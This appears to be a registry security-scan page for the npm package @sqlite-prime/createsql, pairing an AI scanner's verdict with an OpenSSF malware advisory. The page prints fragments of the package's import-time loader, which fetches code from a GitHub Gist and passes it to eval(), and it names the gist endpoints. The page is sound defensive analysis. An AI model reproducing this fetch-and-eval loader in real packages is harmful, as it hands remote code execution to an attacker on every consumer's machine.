registry / @sqlite-prime/createsql / 1.0.0

@sqlite-prime/createsql@1.0.0

AI Security Review

scanned 18d ago · by lpm-firewall-ai

Importing the package causes immediate remote JavaScript execution. The remote payload is selected dynamically from a GitHub Gist response without integrity validation.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing or requiring @sqlite-prime/createsql.

Impact

A remote Gist owner can execute arbitrary code in the importing process.

Mechanism

Fetch remote Gist content and eval it.

Attack narrative

The package's declared main file runs on import. It derives a Gist ID, fetches the GitHub API representation, takes the first returned file's content, and evaluates it directly. This makes package behavior remotely replaceable and enables arbitrary code execution in every consumer process.

Rationale

Direct source inspection confirms an import-time remote payload fetch followed by eval with no validation. This is a concrete remote-code-execution chain, not merely a static hint.

Evidence

package.jsonindex.js

Network endpoints2

api.github.com/gists/198a0bbec7a6018e9250615d26e37b90gist.github.com/getchainverse/198a0bbec7a6018e9250615d26e37b90.js

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13715

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @sqlite-prime/createsql (npm)

Details

On require/import, index.js constructs a GitHub Gist API URL (https://api.github.com/gists/198a0bbec7a6018e9250615d26e37b90, owned by user 'getchainverse'), fetches the gist JSON, and passes the first file's content directly to eval(). The executed code is not present in the package tarball and can be modified by the gist owner at any time, resulting in arbitrary code execution in any process that loads this package. The endpoint URL is assembled at runtime by string manipulation of a gist page URL, hiding the executed source from static review of the published artifact. ## Source: ghsa-malware (42c71216ea3774e6fa87647a18f8f035c45f98ce9f2bbae4eb69a4ae6be7b3cd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js is the CommonJS main entrypoint.
Importing index.js immediately fetches a GitHub Gist API response.
It selects remote gist file content and passes it to eval().
No user action, validation, or integrity check gates remote execution.

Evidence against

package.json contains no lifecycle hooks.
No local credential harvesting, file writes, or shell commands were found.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 444 B of source, external domains: api.github.com, gist.github.com

Source & flagged code

4 flagged

index.jsView file

1const gisturl = L2: "https://gist.github.[redacted].js"; L3: ... L6: fetch(apiTarget) L7: .then((response) => response.json()) L8: .then((data) => { ... L10: const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

•matchType = malicious_source_fingerprint_signature signature = 93085e988dfccd2a signatureType = suspicious_hashes sourceLabel = OpenSSF malicious-packages matchedPackage = @sqlite-panel/createsql@1.0.0 matchedPath = index.js matchedIdentity = npm:QHNxbGl0ZS1wYW5lbC9jcmVhdGVzcWw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = Malicious code in @sqlite-panel/createsql (npm)

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

4 flagged · loading source

index.jsView file

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L1

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

10const scriptText = data.files[firstFileName].content; L11: eval(scriptText); L12: });

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L10

•

Findings

2 Critical2 High2 Medium3 Low

CriticalRemote Asset Decode Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighEvalindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings